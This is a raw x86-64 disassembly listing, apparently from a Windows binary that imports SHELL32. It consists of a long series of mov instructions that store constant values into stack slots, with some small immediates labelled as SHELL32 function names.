mov byte [rsp + 0x2e9], ILFindLastID
mov eax, 0xda4
mov word [rsp + 0x19e8], ax
movabs rax, 0x737fcb99c58cd5
mov qword [rsp + 0x90e0], rax
mov eax, 0x5c4
mov word [rsp + 0x19ec], ax
mov dword [rsp + 0x43fc], 0x47191eb
mov eax, 0x5a6
mov word [rsp + 0x19f0], ax
movabs rax, 0x7400a477b76c4d
mov qword [rsp + 0x90e8], rax
movabs rax, 0x7b635f2ccc6b8a
mov qword [rsp + 0x90f0], rax
mov dword [rsp + 0x4400], 0x3bcab957
mov dword [rsp + 0x4404], 0x55b7
movabs rax, 0x74849a8d82318f
mov qword [rsp + 0x90f8], rax
movabs rax, 0x7d55e518c0e7e0
mov qword [rsp + 0x9100], rax
mov byte [rsp + 0x2ea], 0xb9
movabs rax, 0x769dad33bd9c9b
mov qword [rsp + 0x9108], rax
movabs rax, 0x7873e9364f85d7
mov qword [rsp + 0x9110], rax
mov eax, 0xbbb
mov word [rsp + 0x19f4], ax
movabs rax, 0x7036b02c762402
mov qword [rsp + 0x9118], rax
mov eax, 0x74e
mov word [rsp + 0x19f8], ax
movabs rax, 0x70e312e24dff3b
mov qword [rsp + 0x9120], rax
movabs rax, 0x758b7084c40b22
mov qword [rsp + 0x9128], rax
mov eax, 0x3b4
mov word [rsp + 0x19fc], ax
movabs rax, 0x7106c3c770dedd
mov qword [rsp + 0x9130], rax
mov dword [rsp + 0x4408], 0x40f63125
mov dword [rsp + 0x440c], 0x38f9
mov dword [rsp + 0x4410], 0x6514bd36
mov byte [rsp + 0x2eb], 0xc4
mov byte [rsp + 0x2ec], 0x7d
movabs rax, 0x751dc64ec46249
mov qword [rsp + 0x9138], rax
mov eax, 0x74d
mov word [rsp + 0x1a00], ax
movabs rax, 0x734bb2d4678aad
mov qword [rsp + 0x9140], rax
mov dword [rsp + 0x4414], 0x61d56bfe
movabs rax, 0x7b872f52339a53
mov qword [rsp + 0x9148], rax
movabs rax, 0x7367e0fe7df4cf
mov qword [rsp + 0x9150], rax
movabs rax, 0x77e24bfb0acca8
mov qword [rsp + 0x9158], rax
mov byte [rsp + 0x2ed], 0x43
mov eax, 0x5a7
mov word [rsp + 0x1a04], ax
movabs rax, 0x7a76f8cac66336
mov qword [rsp + 0x9160], rax
mov byte [rsp + 0x2ee], 0x1e
mov dword [rsp + 0x4418], 0x2a20a44
movabs rax, 0x751aa75015caee
mov qword [rsp + 0x9168], rax
movabs rax, 0x7c1dd8f94f20cc
mov qword [rsp + 0x9170], rax
mov dword [rsp + 0x441c], 0x17152bb8
movabs rax, 0x7249204b3fd454
mov qword [rsp + 0x9178], rax
mov byte [rsp + 0x2ef], SHSetInstanceExplorer
mov eax, 0x7a4
mov word [rsp + 0x1a08], ax
movabs rax, 0x71d0278fc6a194
mov qword [rsp + 0x9180], rax
mov eax, 0x784
mov word [rsp + 0x1a0c], ax
mov dword [rsp + 0x4420], 0x24
movabs rax, 0x76295510e45668
mov qword [rsp + 0x9188], rax
mov eax, 0xdb
mov word [rsp + 0x1a10], ax
mov dword [rsp + 0x4424], 0xdbab
mov dword [rsp + 0x4428], 0x1f5c0dc5
mov byte [rsp + 0x2f0], PathYetAnotherMakeUniqueName
movabs rax, 0x743d2729e2995d
mov qword [rsp + 0x9190], rax
movabs rax, 0x7811f88b0cc9ee
mov qword [rsp + 0x9198], rax
mov dword [rsp + 0x442c], 0x9ac4
mov dword [rsp + 0x4430], 0x914b
mov byte [rsp + 0x2f1], 0x28
mov byte [rsp + 0x2f2], 0x1a
mov eax, 0x554
mov word [rsp + 0x1a14], ax
mov eax, 0x274
mov word [rsp + 0x1a18], ax
mov eax, 0x59b
mov word [rsp + 0x1a1c], ax
mov dword [rsp + 0x4434], 0x53c4b95b
movabs rax, 0x7b39540b113604
mov qword [rsp + 0x91a0], rax
mov eax, 0x1f9
mov word [rsp + 0x1a20], ax
mov eax, 0xf29
mov word [rsp + 0x1a24], ax
mov eax, 0x411
mov word [rsp + 0x1a28], ax
movabs rax, 0x7bccbee9fc3186
mov qword [rsp + 0x91a8], rax
mov eax, 0x798
mov word [rsp + 0x1a2c], ax
mov eax, 0x372
mov word [rsp + 0x1a30], ax
mov byte [rsp + 0x2f3], SHSetInstanceExplorer
mov eax, 0x2d3
mov word [rsp + 0x1a34], ax
movabs rax, 0x796045ed2cf636
mov qword [rsp + 0x91b0], rax
mov dword [rsp + 0x4438], 0xe18b
mov eax, 0x51b
mov word [rsp + 0x1a38], ax
mov byte [rsp + 0x2f4], ILIsEqual
movabs rax, 0x7bbe2294a69628
mov qword [rsp + 0x91b8], rax
mov eax, 0x540
mov word [rsp + 0x1a3c], ax
mov dword [rsp + 0x443c], 0x834a
mov eax, 0x84c
mov word [rsp + 0x1a40], ax
movabs rax, 0x760cbb9f93c178
mov qword [rsp + 0x91c0], rax
movabs rax, 0x761d2e07e71962
mov qword [rsp + 0x91c8], rax
movabs rax, 0x7ac2eea915c7af
mov qword [rsp + 0x91d0], rax
movabs rax, 0x7aa026aaed1c97
mov qword [rsp + 0x91d8], rax
mov dword [rsp + 0x4440], 0x5453c51f
mov byte [rsp + 0x2f5], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x4444], 0x3ae4
movabs rax, 0x76f562ea5415f3
mov qword [rsp + 0x91e0], rax
mov dword [rsp + 0x4448], 0x1a0e0d16
movabs rax, 0x744390a598597a
mov qword [rsp + 0x91e8], rax
mov dword [rsp + 0x444c], 0x3936
mov eax, 0x24e
mov word [rsp + 0x1a44], ax
mov byte [rsp + 0x2f6], 0x6a
mov byte [rsp + 0x2f7], SHSetInstanceExplorer
mov eax, 0x62d
mov word [rsp + 0x1a48], ax
mov byte [rsp + 0x2f8], 0x20
movabs rax, 0x7bf6c52cf0222b
mov qword [rsp + 0x91f0], rax
mov byte [rsp + 0x2f9], 0x19
mov dword [rsp + 0x4450], 0x16a9
movabs rax, 0x74325a97408291
mov qword [rsp + 0x91f8], rax
movabs rax, 0x74c1d2420612f9
mov qword [rsp + 0x9200], rax
mov eax, 0xd8f
mov word [rsp + 0x1a4c], ax
mov dword [rsp + 0x4454], 0xc5fa
movabs rax, 0x7cdc03433c790b
mov qword [rsp + 0x9208], rax
mov eax, 0x294
mov word [rsp + 0x1a50], ax
mov eax, 0x9ff
mov word [rsp + 0x1a54], ax
movabs rax, 0x713c143b329b73
mov qword [rsp + 0x9210], rax
mov byte [rsp + 0x2fa], 0x34
mov dword [rsp + 0x4458], 0x6401853f
movabs rax, 0x7661c90531ca9a
mov qword [rsp + 0x9218], rax
mov dword [rsp + 0x445c], 0x8e0f
mov dword [rsp + 0x4460], 0x5714a477
mov dword [rsp + 0x4464], 0xe5a1
mov dword [rsp + 0x4468], 0x5a08
mov eax, 0xe76
mov word [rsp + 0x1a58], ax
movabs rax, 0x7816a3d44c0d94
mov qword [rsp + 0x9220], rax
mov eax, 0x2d7
mov word [rsp + 0x1a5c], ax
movabs rax, 0x753f776d36a36f
mov qword [rsp + 0x9228], rax
mov eax, 0x7b0
mov word [rsp + 0x1a60], ax
mov dword [rsp + 0x446c], 0x7539
mov dword [rsp + 0x4470], 0x5a8149df
mov dword [rsp + 0x4474], 0x6870
mov eax, 0xc79
mov word [rsp + 0x1a64], ax
mov eax, 0x216
mov word [rsp + 0x1a68], ax
mov byte [rsp + 0x2fb], 0xf6
mov eax, 0xee0
mov word [rsp + 0x1a6c], ax
movabs rax, 0x7087dd3f21035d
mov qword [rsp + 0x9230], rax
mov dword [rsp + 0x4478], 0x802f
movabs rax, 0x75bbc0317fa00d
mov qword [rsp + 0x9238], rax
mov dword [rsp + 0x447c], 0x766e
mov eax, 0x22
mov word [rsp + 0x1a70], ax
mov dword [rsp + 0x4480], 0x4949c4b1
mov dword [rsp + 0x4484], 0xf229
mov eax, 0xe2
mov word [rsp + 0x1a74], ax
mov dword [rsp + 0x4488], 0x448f
mov eax, 0x4ef
mov word [rsp + 0x1a78], ax
mov eax, 0xb63
mov word [rsp + 0x1a7c], ax
mov eax, 0x3a2
mov word [rsp + 0x1a80], ax
mov eax, 0x7cb
mov word [rsp + 0x1a84], ax
mov eax, 0x2e0
mov word [rsp + 0x1a88], ax
mov eax, 0x7ce
mov word [rsp + 0x1a8c], ax
mov byte [rsp + 0x2fc], 0xfe
movabs rax, 0x7bb20832118ba3
mov qword [rsp + 0x9240], rax
movabs rax, 0x71f17167b09dcd
mov qword [rsp + 0x9248], rax
mov dword [rsp + 0x448c], 0x580b
mov eax, 0x372
mov word [rsp + 0x1a90], ax
mov byte [rsp + 0x2fd], 0x23
movabs rax, 0x719deddb4e5773
mov qword [rsp + 0x9250], rax
movabs rax, 0x742c5889b56d73
mov qword [rsp + 0x9258], rax
movabs rax, 0x73b859721b4e28
mov qword [rsp + 0x9260], rax
mov eax, 0x9b5
mov word [rsp + 0x1a94], ax
mov eax, 0x6ef
mov word [rsp + 0x1a98], ax
mov byte [rsp + 0x2fe], 0x6b
movabs rax, 0x71be89e3f127e0
mov qword [rsp + 0x9268], rax
mov dword [rsp + 0x4490], 0x70b10bea
mov eax, 0x7fe
mov word [rsp + 0x1a9c], ax
movabs rax, 0x730d0ce04199b1
mov qword [rsp + 0x9270], rax
mov eax, 0x326
mov word [rsp + 0x1aa0], ax
mov eax, 0x142
mov word [rsp + 0x1aa4], ax
mov eax, 0xb95
mov word [rsp + 0x1aa8], ax
mov eax, 0x509
mov word [rsp + 0x1aac], ax
mov dword [rsp + 0x4494], 0x7fe5d4db
mov dword [rsp + 0x4498], 0x2fe2
mov byte [rsp + 0x2ff], PathYetAnotherMakeUniqueName
movabs rax, 0x7c9a409237018e
mov qword [rsp + 0x9278], rax
mov byte [rsp + 0x300], 0x2d
mov byte [rsp + 0x301], 0x66
mov eax, 0x5f5
mov word [rsp + 0x1ab0], ax
mov eax, 0x48b
mov word [rsp + 0x1ab4], ax
mov byte [rsp + 0x302], ILIsEqual
movabs rax, 0x7a9a6aa78e6884
mov qword [rsp + 0x9280], rax
mov dword [rsp + 0x449c], 0x3926
mov eax, 0x27b
mov word [rsp + 0x1ab8], ax
mov eax, 0x9e8
mov word [rsp + 0x1abc], ax
mov eax, 0x28f
mov word [rsp + 0x1ac0], ax
movabs rax, 0x7861f315ef3825
mov qword [rsp + 0x9288], rax
mov byte [rsp + 0x303], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x44a0], 0xd9c5
movabs rax, 0x7b910844bd2cd1
mov qword [rsp + 0x9290], rax
mov eax, 0xfc8
mov word [rsp + 0x1ac4], ax
mov eax, 0x382
mov word [rsp + 0x1ac8], ax
mov dword [rsp + 0x44a4], 0xe8dd
movabs rax, 0x7898d7a6b374c3
mov qword [rsp + 0x9298], rax
movabs rax, 0x7124cde3bf0feb
mov qword [rsp + 0x92a0], rax
mov byte [rsp + 0x304], 0x5b
mov dword [rsp + 0x44a8], 0x4c74c21f
mov dword [rsp + 0x44ac], 0xed35
mov eax, 0x641
mov word [rsp + 0x1acc], ax
mov eax, 0x1bf
mov word [rsp + 0x1ad0], ax
movabs rax, 0x749f2b8055b015
mov qword [rsp + 0x92a8], rax
mov eax, PathYetAnotherMakeUniqueName
mov word [rsp + 0x1ad4], ax
movabs rax, 0x7edfb5b264236c
mov qword [rsp + 0x92b0], rax
mov eax, 0x5d
mov word [rsp + 0x1ad8], ax
mov eax, 0xbef
mov word [rsp + 0x1adc], ax
mov eax, 0xb
mov word [rsp + 0x1ae0], ax
mov dword [rsp + 0x44b0], 0x1f729313
mov byte [rsp + 0x305], ILIsEqual
mov eax, 0x4e0
mov word [rsp + 0x1ae4], ax
movabs rax, 0x729ebcf6a76f23
mov qword [rsp + 0x92b8], rax
mov eax, 0x68a
mov word [rsp + 0x1ae8], ax
mov dword [rsp + 0x44b4], 0x22c6
mov byte [rsp + 0x306], ILFindLastID
movabs rax, 0x73d379844ecf50
mov qword [rsp + 0x92c0], rax
movabs rax, 0x7d8035ac5594f3
mov qword [rsp + 0x92c8], rax
mov byte [rsp + 0x307], 0x60
mov dword [rsp + 0x44b8], 0x563e
movabs rax, 0x737d4370138f5e
mov qword [rsp + 0x92d0], rax
movabs rax, 0x712afef06a24d0
mov qword [rsp + 0x92d8], rax
mov dword [rsp + 0x44bc], 0x62f74613
mov byte [rsp + 0x308], 0x28
mov dword [rsp + 0x44c0], 0x4d57
mov eax, 0xc30
mov word [rsp + 0x1aec], ax
movabs rax, 0x7c1f5b201ca883
mov qword [rsp + 0x92e0], rax
mov eax, 0xf00
mov word [rsp + 0x1af0], ax
mov eax, 0x50d
mov word [rsp + 0x1af4], ax
mov dword [rsp + 0x44c4], 0x69c54478
mov byte [rsp + 0x309], 0x1c
mov dword [rsp + 0x44c8], 0xdb8f
mov dword [rsp + 0x44cc], 0x9f8e
movabs rax, 0x7a53a16bc4f844
mov qword [rsp + 0x92e8], rax
mov dword [rsp + 0x44d0], 0x10d
mov dword [rsp + 0x44d4], 0x2bc4a5e3
mov dword [rsp + 0x44d8], 0x3530
mov byte [rsp + 0x30a], SHDoDragDrop
mov byte [rsp + 0x30b], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x44dc], 0x10bc
movabs rax, 0x76862330815b3e
mov qword [rsp + 0x92f0], rax
mov byte [rsp + 0x30c], 0x39
mov eax, 0x7a9
mov word [rsp + 0x1af8], ax
movabs rax, 0x7d5b240ac800cc
mov qword [rsp + 0x92f8], rax
mov eax, 0xbcd
mov word [rsp + 0x1afc], ax
movabs rax, 0x71e3c33aeff1fb
mov qword [rsp + 0x9300], rax
movabs rax, 0x74f227e9e66c6f
mov qword [rsp + 0x9308], rax
mov eax, 0x4d1
mov word [rsp + 0x1b00], ax
movabs rax, 0x716b7f1c814556
mov qword [rsp + 0x9310], rax
mov byte [rsp + 0x30d], 0x60
mov byte [rsp + 0x30e], ILIsEqual
movabs rax, 0x7d328ae9500d11
mov qword [rsp + 0x9318], rax
movabs rax, 0x796cde27fd4f7d
mov qword [rsp + 0x9320], rax
movabs rax, 0x72bec996c151ce
mov qword [rsp + 0x9328], rax
movabs rax, 0x70f15c7c30cde2
mov qword [rsp + 0x9330], rax
mov eax, 0x1cb
mov word [rsp + 0x1b04], ax
mov byte [rsp + 0x30f], 0x67
mov eax, 0xe55
mov word [rsp + 0x1b08], ax
mov dword [rsp + 0x44e0], 0x215dbcee
mov dword [rsp + 0x44e4], 0x7da4
mov byte [rsp + 0x310], SHDoDragDrop
mov eax, 0x89a
mov word [rsp + 0x1b0c], ax
movabs rax, 0x75c148fc7a842b
mov qword [rsp + 0x9338], rax
mov byte [rsp + 0x311], 0x50
mov dword [rsp + 0x44e8], 0xdead
mov dword [rsp + 0x44ec], 0x802ad63
movabs rax, 0x7b98c571766213
mov qword [rsp + 0x9340], rax
mov eax, 0x8f7
mov word [rsp + 0x1b10], ax
mov byte [rsp + 0x312], PathYetAnotherMakeUniqueName
mov eax, 0xfd8
mov word [rsp + 0x1b14], ax
movabs rax, 0x7920130371d68c
mov qword [rsp + 0x9348], rax
movabs rax, 0x78641b848e7279
mov qword [rsp + 0x9350], rax
mov dword [rsp + 0x44f0], 0x57b5
mov byte [rsp + 0x313], reloc.SHELL32.dll_ILFindLastID
mov dword [rsp + 0x44f4], 0xe577
mov eax, 0xa9e
mov word [rsp + 0x1b18], ax
mov eax, 0x7bf
mov word [rsp + 0x1b1c], ax
mov eax, 0xd10
mov word [rsp + 0x1b20], ax
mov eax, 0x2d
mov word [rsp + 0x1b24], ax
movabs rax, 0x7e3042f6120c32
mov qword [rsp + 0x9358], rax
movabs rax, 0x7d4002733e7e33
mov qword [rsp + 0x9360], rax
mov dword [rsp + 0x44f8], 0x1198
mov eax, 0x56e
mov word [rsp + 0x1b28], ax
movabs rax, 0x7ccfca2cd255ed
mov qword [rsp + 0x9368], rax
movabs rax, 0x7958de148e9aff
mov qword [rsp + 0x9370], rax
movabs rax, 0x718f98664f6609
mov qword [rsp + 0x9378], rax
mov eax, 0x8fd
mov word [rsp + 0x1b2c], ax
movabs rax, 0x7be51938b7148e
mov qword [rsp + 0x9380], rax
mov dword [rsp + 0x44fc], 0xf0b
movabs rax, 0x7d62af1ff6ff2d
mov qword [rsp + 0x9388], rax
movabs rax, 0x79c937264c9eb5
mov qword [rsp + 0x9390], rax
mov dword [rsp + 0x4500], 0x5e0ba5b6
mov byte [rsp + 0x314], 0x77
mov eax, 0x680
mov word [rsp + 0x1b30], ax
movabs rax, 0x7a1c7d555646cb
mov qword [rsp + 0x9398], rax
mov byte [rsp + 0x315], 0x76
mov eax, 0x2a9
mov word [rsp + 0x1b34], ax
movabs rax, 0x73b5d9bf7588e8
mov qword [rsp + 0x93a0], rax
movabs rax, 0x7e806c6f46e16c
mov qword [rsp + 0x93a8], rax
movabs rax, 0x71fa3d2c57ac19
mov qword [rsp + 0x93b0], rax
movabs rax, 0x7ef8607603fe01
mov qword [rsp + 0x93b8], rax
movabs rax, 0x746b59a3d93b1b
mov qword [rsp + 0x93c0], rax
movabs rax, 0x73c95d8b2b5a96
mov qword [rsp + 0x93c8], rax
mov dword [rsp + 0x4504], 0xf150354
movabs rax, 0x73a49291a2642a
mov qword [rsp + 0x93d0], rax
mov eax, 0x3d8
mov word [rsp + 0x1b38], ax
mov eax, 0x584
mov word [rsp + 0x1b3c], ax
movabs rax, 0x796faf4f1bce3b
mov qword [rsp + 0x93d8], rax
mov dword [rsp + 0x4508], 0x24d
mov eax, 0x688
mov word [rsp + 0x1b40], ax
mov eax, 0x71b
mov word [rsp + 0x1b44], ax
mov dword [rsp + 0x450c], 0x60c9a364
mov dword [rsp + 0x4510], 0xf1ac
mov dword [rsp + 0x4514], 0x18ea
movabs rax, 0x75d9ccbc250ab2
mov qword [rsp + 0x93e0], rax
mov eax, 0x1fa
mov word [rsp + 0x1b48], ax
movabs rax, 0x7de62981c3daaf
mov qword [rsp + 0x93e8], rax
mov eax, 0x621
mov word [rsp + 0x1b4c], ax
mov eax, 0xc0
mov word [rsp + 0x1b50], ax
mov dword [rsp + 0x4518], 0x9d27
mov dword [rsp + 0x451c], 0x90f6
mov eax, 0x1a2
mov word [rsp + 0x1b54], ax
mov byte [rsp + 0x316], 0x68
mov eax, SHSetInstanceExplorer
mov word [rsp + 0x1b58], ax
mov eax, 0x29f
mov word [rsp + 0x1b5c], ax
movabs rax, 0x70c6e51fea0c08
mov qword [rsp + 0x93f0], rax
movabs rax, 0x775d5dbc65264e
mov qword [rsp + 0x93f8], rax
mov eax, 0x3c5
mov word [rsp + 0x1b60], ax
movabs rax, 0x7a2efa6d20f603
mov qword [rsp + 0x9400], rax
movabs rax, 0x752f0429204e72
mov qword [rsp + 0x9408], rax
movabs rax, 0x7338bedaeceb91
mov qword [rsp + 0x9410], rax
mov byte [rsp + 0x317], reloc.SHELL32.dll_ILClone
movabs rax, 0x7ad26d2852c4a4
mov qword [rsp + 0x9418], rax
movabs rax, 0x7605199cba5445
mov qword [rsp + 0x9420], rax
mov eax, 0xfa3
mov word [rsp + 0x1b64], ax
movabs rax, 0x78502b85f7242b
mov qword [rsp + 0x9428], rax
mov dword [rsp + 0x4520], 0x2dac
mov eax, 0x71d
mov word [rsp + 0x1b68], ax
movabs rax, 0x7534b1298a852e
mov qword [rsp + 0x9430], rax
mov dword [rsp + 0x4524], 0x5c155645
mov eax, 0x55f
mov word [rsp + 0x1b6c], ax
mov dword [rsp + 0x4528], 0x4bfb
mov dword [rsp + 0x452c], 0xab52
mov byte [rsp + 0x318], 0x2f
mov eax, 0x62e
mov word [rsp + 0x1b70], ax
mov eax, 0x238
mov word [rsp + 0x1b74], ax
movabs rax, 0x7893114563c4f3
mov qword [rsp + 0x9438], rax
movabs rax, 0x74517efa805529
mov qword [rsp + 0x9440], rax
mov eax, 0xcf7
mov word [rsp + 0x1b78], ax
mov eax, 0x101
mov word [rsp + 0x1b7c], ax
mov dword [rsp + 0x4530], 0x345c
mov dword [rsp + 0x4534], 0x107f
mov eax, 0x606
mov word [rsp + 0x1b80], ax
movabs rax, 0x74d077625b7272
mov qword [rsp + 0x9448], rax
mov byte [rsp + 0x319], ILFindLastID
mov eax, 0x58b
mov word [rsp + 0x1b84], ax
movabs rax, 0x70808329a76588
mov qword [rsp + 0x9450], rax
mov byte [rsp + 0x31a], 0x7f
mov eax, 0x8a7
mov word [rsp + 0x1b88], ax
mov eax, 0x6c0
mov word [rsp + 0x1b8c], ax
mov byte [rsp + 0x31b], 0x62
mov dword [rsp + 0x4538], 0x5c6a
mov byte [rsp + 0x31c], 0xe0
movabs rax, 0x7253cd6a8f4e99
mov qword [rsp + 0x9458], rax
mov eax, 0x294
mov word [rsp + 0x1b90], ax
mov byte [rsp + 0x31d], 0x73
mov eax, 0x1c3
mov word [rsp + 0x1b94], ax
movabs rax, 0x7ec3fb061a18ee
mov qword [rsp + 0x9460], rax
movabs rax, 0x707d5d4d7301fd
mov qword [rsp + 0x9468], rax
mov eax, 0x86
mov word [rsp + 0x1b98], ax
movabs rax, 0x70db8ac91b89a9
mov qword [rsp + 0x9470], rax
mov byte [rsp + 0x31e], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0x75b6c1dc03a218
mov qword [rsp + 0x9478], rax
movabs rax, 0x71ec29e9885d9b
mov qword [rsp + 0x9480], rax
movabs rax, 0x7777759db1b418
mov qword [rsp + 0x9488], rax
movabs rax, 0x78de8212098623
mov qword [rsp + 0x9490], rax
mov dword [rsp + 0x453c], 0x5dcecf74
mov eax, 0x3f7
mov word [rsp + 0x1b9c], ax
mov eax, 0x34e
mov word [rsp + 0x1ba0], ax
mov byte [rsp + 0x31f], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x4540], 0x3a1bc85b
mov dword [rsp + 0x4544], 0xae10
mov dword [rsp + 0x4548], 0x74714f83
mov eax, 0xce
mov word [rsp + 0x1ba4], ax
mov byte [rsp + 0x320], SHDoDragDrop
mov eax, 0x5b8
mov word [rsp + 0x1ba8], ax
mov byte [rsp + 0x321], ILFindLastID
mov dword [rsp + 0x454c], 0x1f237400
movabs rax, 0x7451229538e1c6
mov qword [rsp + 0x9498], rax
mov eax, 0x521
mov word [rsp + 0x1bac], ax
mov eax, 0xd26
mov word [rsp + 0x1bb0], ax
mov eax, 0x2cb
mov word [rsp + 0x1bb4], ax
movabs rax, 0x7a43eb884049c0
mov qword [rsp + 0x94a0], rax
mov dword [rsp + 0x4550], 0x13e
mov byte [rsp + 0x322], 0x27
movabs rax, 0x731a40375e0ea5
mov qword [rsp + 0x94a8], rax
mov dword [rsp + 0x4554], 0x84a4
mov eax, 0x4e1
mov word [rsp + 0x1bb8], ax
movabs rax, 0x7a0c63637b8514
mov qword [rsp + 0x94b0], rax
mov eax, 0x299
mov word [rsp + 0x1bbc], ax
mov dword [rsp + 0x4558], 0x4c73b820
mov dword [rsp + 0x455c], 0x142d
mov byte [rsp + 0x323], 0x21
mov byte [rsp + 0x324], PathYetAnotherMakeUniqueName
movabs rax, 0x7c79202fe2199b
mov qword [rsp + 0x94b8], rax
mov eax, 0x265
mov word [rsp + 0x1bc0], ax
mov byte [rsp + 0x325], SHDoDragDrop
mov eax, 0xaa9
mov word [rsp + 0x1bc4], ax
mov eax, 0x9cd
mov word [rsp + 0x1bc8], ax
mov eax, 0x756
mov word [rsp + 0x1bcc], ax
mov eax, 0xe1c
mov word [rsp + 0x1bd0], ax
mov eax, 0xbf6
mov word [rsp + 0x1bd4], ax
mov eax, 0x6ff
mov word [rsp + 0x1bd8], ax
movabs rax, 0x7728fabfd63ccd
mov qword [rsp + 0x94c0], rax
mov eax, 0x50a
mov word [rsp + 0x1bdc], ax
mov dword [rsp + 0x4560], 0x7bf8
mov eax, 0xe3d
mov word [rsp + 0x1be0], ax
mov dword [rsp + 0x4564], 0x6dfb6a5
mov dword [rsp + 0x4568], 0x252c
mov byte [rsp + 0x326], 0x60
mov byte [rsp + 0x327], 0x5a
mov byte [rsp + 0x328], 0x27
mov eax, 0x2ed
mov word [rsp + 0x1be4], ax
movabs rax, 0x7b3d737b70a3c0
mov qword [rsp + 0x94c8], rax
movabs rax, 0x73dfa3cc25acf0
mov qword [rsp + 0x94d0], rax
mov byte [rsp + 0x329], 0x32
movabs rax, 0x7932bae1038d87
mov qword [rsp + 0x94d8], rax
mov dword [rsp + 0x456c], 0x9aa4
movabs rax, 0x7bf787f027d3c5
mov qword [rsp + 0x94e0], rax
mov byte [rsp + 0x32a], 0x5e
mov eax, 0x6d3
mov word [rsp + 0x1be8], ax
movabs rax, 0x7a0b2a7443cdfd
mov qword [rsp + 0x94e8], rax
movabs rax, 0x75edc9a464b7a0
mov qword [rsp + 0x94f0], rax
mov eax, 0x426
mov word [rsp + 0x1bec], ax
mov byte [rsp + 0x32b], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x32c], 0x6f
mov dword [rsp + 0x4570], 0x6312
movabs rax, 0x7cdf1f958777c7
mov qword [rsp + 0x94f8], rax
movabs rax, 0x71d91c1c3283ac
mov qword [rsp + 0x9500], rax
movabs rax, 0x7ec56b2626b2ec
mov qword [rsp + 0x9508], rax
mov byte [rsp + 0x32d], 0xfd
mov eax, 0x791
mov word [rsp + 0x1bf0], ax
mov eax, 0x62f
mov word [rsp + 0x1bf4], ax
movabs rax, 0x72b3b442f9486a
mov qword [rsp + 0x9510], rax
mov byte [rsp + 0x32e], SHDoDragDrop
mov eax, 0x628
mov word [rsp + 0x1bf8], ax
movabs rax, 0x78e4456933e713
mov qword [rsp + 0x9518], rax
mov eax, 0xa5f
mov word [rsp + 0x1bfc], ax
movabs rax, 0x70675d451a5bb4
mov qword [rsp + 0x9520], rax
mov dword [rsp + 0x4574], 0x50ad
mov eax, 0x682
mov word [rsp + 0x1c00], ax
mov eax, 0x5db
mov word [rsp + 0x1c04], ax
mov eax, 0x19f
mov word [rsp + 0x1c08], ax
mov dword [rsp + 0x4578], 0xc6fd
mov byte [rsp + 0x32f], 0x3e
mov dword [rsp + 0x457c], 0x76447d64
mov eax, 0xb5a
mov word [rsp + 0x1c0c], ax
mov eax, 0x23b
mov word [rsp + 0x1c10], ax
mov eax, 0x73e
mov word [rsp + 0x1c14], ax
movabs rax, 0x763d2a8e06af6e
mov qword [rsp + 0x9528], rax
movabs rax, 0x75e65783f91711
mov qword [rsp + 0x9530], rax
movabs rax, 0x70d37b4c6a469c
mov qword [rsp + 0x9538], rax
mov dword [rsp + 0x4580], 0x1a329633
movabs rax, 0x7dabcd77ef3f84
mov qword [rsp + 0x9540], rax
mov dword [rsp + 0x4584], 0xff64
mov byte [rsp + 0x330], 0xb9
movabs rax, 0x72d8593abb27ee
mov qword [rsp + 0x9548], rax
movabs rax, 0x78fdf399abe717
mov qword [rsp + 0x9550], rax
mov byte [rsp + 0x331], 0x22
mov eax, 0x213
mov word [rsp + 0x1c18], ax
movabs rax, 0x7505eee037389f
mov qword [rsp + 0x9558], rax
mov eax, 0x1ec
mov word [rsp + 0x1c1c], ax
mov dword [rsp + 0x4588], 0x4a9e
mov eax, 0x1d9
mov word [rsp + 0x1c20], ax
mov eax, 0x9d3
mov word [rsp + 0x1c24], ax
mov eax, 0xb98
mov word [rsp + 0x1c28], ax
mov dword [rsp + 0x458c], 0x1653
mov byte [rsp + 0x332], ILFindLastID
mov byte [rsp + 0x333], 0x7a
mov byte [rsp + 0x334], 0x43
mov eax, 0x5dc
mov word [rsp + 0x1c2c], ax
mov eax, 0x9fb
mov word [rsp + 0x1c30], ax
movabs rax, 0x7ec1725927b555
mov qword [rsp + 0x9560], rax
mov eax, 0x6b2
mov word [rsp + 0x1c34], ax
mov dword [rsp + 0x4590], 0x22e6
mov dword [rsp + 0x4594], 0x25f129f0
mov eax, 0xa07
mov word [rsp + 0x1c38], ax
mov dword [rsp + 0x4598], 0x2e730504
mov eax, 0x6f9
mov word [rsp + 0x1c3c], ax
movabs rax, 0x7369d7e8297c87
mov qword [rsp + 0x9568], rax
movabs rax, 0x7d2db8b6badfd9
mov qword [rsp + 0x9570], rax
movabs rax, 0x73be62936053bd
mov qword [rsp + 0x9578], rax
movabs rax, 0x78be4c10e2138b
mov qword [rsp + 0x9580], rax
movabs rax, 0x741ab4df08b9cc
mov qword [rsp + 0x9588], rax
mov byte [rsp + 0x335], 0x71
movabs rax, 0x7dc365c3d6093e
mov qword [rsp + 0x9590], rax
movabs rax, 0x78a06583bd5282
mov qword [rsp + 0x9598], rax
mov eax, 0x111
mov word [rsp + 0x1c40], ax
mov eax, 0x339
mov word [rsp + 0x1c44], ax
mov dword [rsp + 0x459c], 0x2f41ebf8
movabs rax, 0x704e2297a319cd
mov qword [rsp + 0x95a0], rax
mov eax, 0x611
mov word [rsp + 0x1c48], ax
movabs rax, 0x7a13e765c7ad6c
mov qword [rsp + 0x95a8], rax
mov byte [rsp + 0x336], 0x18
mov byte [rsp + 0x337], 0x4c
movabs rax, 0x7271cbc0a9d32b
mov qword [rsp + 0x95b0], rax
movabs rax, 0x7cb13eb0046acc
mov qword [rsp + 0x95b8], rax
mov dword [rsp + 0x45a0], 0x42b5
mov byte [rsp + 0x338], reloc.SHELL32.dll_ILIsEqual
movabs rax, 0x7d6bd3c1ba819f
mov qword [rsp + 0x95c0], rax
mov byte [rsp + 0x339], 0x24
mov byte [rsp + 0x33a], 0x5c
mov dword [rsp + 0x45a4], 0x2066
movabs rax, 0x7bc6337f930e15
mov qword [rsp + 0x95c8], rax
mov byte [rsp + 0x33b], 0x29
mov byte [rsp + 0x33c], ILIsEqual
mov eax, 0x727
mov word [rsp + 0x1c4c], ax
mov byte [rsp + 0x33d], 0x36
movabs rax, 0x73006f2249802b
mov qword [rsp + 0x95d0], rax
movabs rax, 0x7609fcf997706a
mov qword [rsp + 0x95d8], rax
mov dword [rsp + 0x45a8], 0xb455
